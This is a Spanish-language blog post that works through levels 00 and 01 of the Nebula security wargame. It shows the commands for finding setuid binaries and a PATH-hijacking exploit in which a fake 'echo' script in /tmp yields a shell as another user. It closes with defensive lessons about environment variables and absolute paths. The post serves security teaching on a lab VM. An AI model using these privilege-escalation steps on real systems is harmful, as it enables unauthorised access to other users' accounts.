Aprendiendo seguridad con Wargames

  • Actualizado: 2 diciembre 2021
  • Publicado por primera vez: 6 noviembre 2014

Uno de los comentarios que recibo a menudo cuando intento concienciar sobre seguridad es: "Es que la seguridad es muy difícil". La verdad es que en ocasiones es así y resulta complicado entender los diferentes ataques que pueden realizar contra nuestras aplicaciones y sistemas.

Para mí, una de las formas de aprender conceptos complicados es a través de los juegos. Aunque la frase anterior suene a la típica que se le dice a los niños, se puede aplicar a los adultos. Y como ejemplo, me gustaría hablar de los conocidos como Wargames. Son retos de seguridad que deben ir superándose y que van aumentando de dificultad.

En esta serie de post, voy a comentar los resultados de un Wargame que está disponible en la web https://exploit-exercises.com/. En concreto voy a empezar por su colección de retos mas sencilla, Nebula. Para poder disfrutar de los retos, solo debemos descargarnos una máquina virtual y acceder con el usuario level00 y el password level00.

El funcionamiento es muy sencillo, cada nivel tiene dos usuarios levelXX y flagXX. Para superar un nivel, debemos ejecutar el comando "getflag" con los permisos del usuario flagXX. Para conseguir esto, deberemos aprovechar los diversos fallos de seguridad existentes en cada nivel.

Nebula Level00

Este primer nivel es introductorio y nos explica el funcionamiento de los retos. En el enunciado, nos dicen que tenemos que encontrar un ejecutable con el bit setuid activado y que sea propiedad del usuario flag00. Y como pista, nos dicen que miremos el "man" de find.

Pues allá que vamos, en el "man" pone que podemos buscar archivos filtrando por sus permisos con la opción -perm. Además, en la misma ayuda nos dan un ejemplo para buscar archivos con el bit setuid activado. Solo nos falta filtrar con grep para que solo nos muestre los que sean propiedad de flag00:

level00@nebula:~$ find / -perm 4000 -printf "%#m %u %p\n" 2>/dev/null \
| grep flag00
level00@nebula:~$ /bin/.../flag00
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Y con esto tendríamos solucionado el nivel 00.

Nebula Level01

Al igual que en el nivel anterior, nos debemos loguear con el usuario level01 y password level01. Como nos indican en el enunciado, el programa tiene una vulnerabilidad que permitiría ejecutar cualquier comando. Vamos a ver lo que hace el programa añadiendo comentarios a cada línea:

#There is a vulnerability in the below program that allows arbitrary
#programs to be executed, can you find it?
#To do this level, log in as the level01 account with the password level01.
#Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid(); #Obtiene el grupo del propietario del archivo
uid = geteuid(); #Obtiene el propietario del fichero

setresgid(gid, gid, gid); #Asigna los permisos del grupo level01 al binario
setresuid(uid, uid, uid); #Asigna los permisos de flag01 al binario

system("/usr/bin/env echo and now what?"); #Ejecuta con permisos de flag01
}

 ¿Donde está el error? Aquí lo que nos hace sospechar es ese "/usr/bin/env". El programa env pasa las variables de entorno a echo, que a su vez muestra por pantalla el texto "and now what?". El hecho de que echo sea llamado de forma relativa y no con su ruta absoluta /bin/echo nos da la oportunidad de ejecutar lo que queramos.

La pregunta es, ¿cómo hace Linux para saber donde encontrar el binario echo? Lo que hace es mirar la variable de entorno PATH e ir buscando por orden en los diferentes directorios hasta que encuentre el binario. Pero, ¿qué pasaría si alteráramos la variable PATH para que por ejemplo busque primero en el directorio /tmp? ¿y si en el directorio /tmp existiera un archivo que se llamara echo?

El resultado es que ejecutaríamos el archivo /tmp/echo con permisos del usuario flag01. Pues vamos allá:

level01@nebula:~$ PATH=/tmp:$PATH    #Añadimos /tmp al PATH
level01@nebula:~$ vim /tmp/echo #Creamos un script que llame a bash
# llamado echo
#!/bin/bash
/bin/bash

level01@nebula:~$ chmod +x /tmp/echo #Le damos permisos de ejecución
level01@nebula:~$ /home/flag01/flag01 #Lanzamos nuestro binario original
flag01@nebula:~$ getflag # y obtenemos una shell de flag01
You have successfully executed getflag on a target account

 Este nivel nos deja dos recomendaciones de seguridad cuando se trata de scripts en bash:

  • Nunca confiar en los datos que nos proporcione el usario, como por ejemplo las variables de entorno.
  • Siempre utilizar rutas absolutas en los scripts.

En el próximo post veremos otros niveles y otras recomendaciones de seguridad.

 

David Lladró
Responsable de Seguridad en 
Datadec Online